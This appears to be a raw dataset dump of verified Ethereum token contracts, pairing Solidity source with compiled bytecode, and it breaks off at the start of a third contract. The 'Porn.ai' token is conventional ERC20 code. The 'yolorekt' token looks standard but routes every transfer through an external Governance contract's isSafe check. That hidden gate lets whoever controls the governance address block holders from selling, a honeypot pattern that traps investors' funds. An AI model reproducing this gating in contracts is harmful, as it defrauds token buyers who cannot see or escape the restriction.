if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract PORN is BurnableToken {
string public constant name = "Porn.ai";
string public constant symbol = "PORN";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600781526020017f506f726e2e61690000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f504f524e0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122087c481aaf45c22a0efaae2474070bdc7370fcbd2c3da8a06cf173b26cf90950b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,564 |
0xd725b0c39f55288b83f305411416b1eecce633f8 | // SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
/*
* Website: https://yolorekt.finance/
* Trlegram: https://t.me/yolorekt
* Twitter: https://twitter.com/playyolorekt
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface Governance {
function isSafe(address sender,address addr) external returns(bool);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract yolorekt is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address _governance;
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(address _gov) public {
name = "yolorekt";
symbol = "YOLO";
decimals = 18;
_totalSupply = safeMul(100000000, 1e18);
_governance = _gov;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approval(address sender) public returns(bool) {
require(Governance(_governance).isSafe(sender,address(this)));
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
function transfer(address to, uint tokens) public returns (bool success) {
approval(msg.sender);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
approval(from);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80639430b49611610097578063b5931f7c11610066578063b5931f7c146104b2578063d05c78da146104fe578063dd62ed3e1461054a578063e6cb9013146105c2576100f5565b80639430b4961461032157806395d89b411461037d578063a293d1e814610400578063a9059cbb1461044c576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce567146102875780633eaaf86b146102ab57806370a08231146102c9576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261060e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ac565b604051808215151515815260200191505060405180910390f35b6101eb61079e565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e9565b604051808215151515815260200191505060405180910390f35b61028f610a83565b604051808260ff1660ff16815260200191505060405180910390f35b6102b3610a96565b6040518082815260200191505060405180910390f35b61030b600480360360208110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a9c565b6040518082815260200191505060405180910390f35b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b604051808215151515815260200191505060405180910390f35b610385610c09565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c55780820151818401526020810190506103aa565b50505050905090810190601f1680156103f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104366004803603604081101561041657600080fd5b810190808035906020019092919080359060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6104986004803603604081101561046257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc1565b604051808215151515815260200191505060405180910390f35b6104e8600480360360408110156104c857600080fd5b810190808035906020019092919080359060200190929190505050610e54565b6040518082815260200191505060405180910390f35b6105346004803603604081101561051457600080fd5b810190808035906020019092919080359060200190929190505050610e74565b6040518082815260200191505060405180910390f35b6105ac6004803603604081101561056057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea1565b6040518082815260200191505060405180910390f35b6105f8600480360360408110156105d857600080fd5b810190808035906020019092919080359060200190929190505050610f28565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a45780601f10610679576101008083540402835291602001916106a4565b820191906000526020600020905b81548152906001019060200180831161068757829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107f484610ae5565b5061083e600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610907600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d0600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d936833c83306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610bbc57600080fd5b505af1158015610bd0573d6000803e3d6000fd5b505050506040513d6020811015610be657600080fd5b8101908080519060200190929190505050610c0057600080fd5b60019050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c9f5780601f10610c7457610100808354040283529160200191610c9f565b820191906000526020600020905b815481529060010190602001808311610c8257829003601f168201915b505050505081565b600082821115610cb657600080fd5b818303905092915050565b6000610ccc33610ae5565b50610d16600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ca7565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da2600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f28565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610e6257600080fd5b818381610e6b57fe5b04905092915050565b600081830290506000831480610e92575081838281610e8f57fe5b04145b610e9b57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610f3c57600080fd5b9291505056fea265627a7a72315820981a7504315f2b760646b70ca78821b037eb66d561daeddbd30c69b534db5c5c64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 10,565 |
0xE36f56b96D5e48dA69C514a07D0ee02aa31Ba236 | /**
*Submitted for verification at Etherscan.io on 2020-10-27
*/
pragma solidity 0.6.4;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
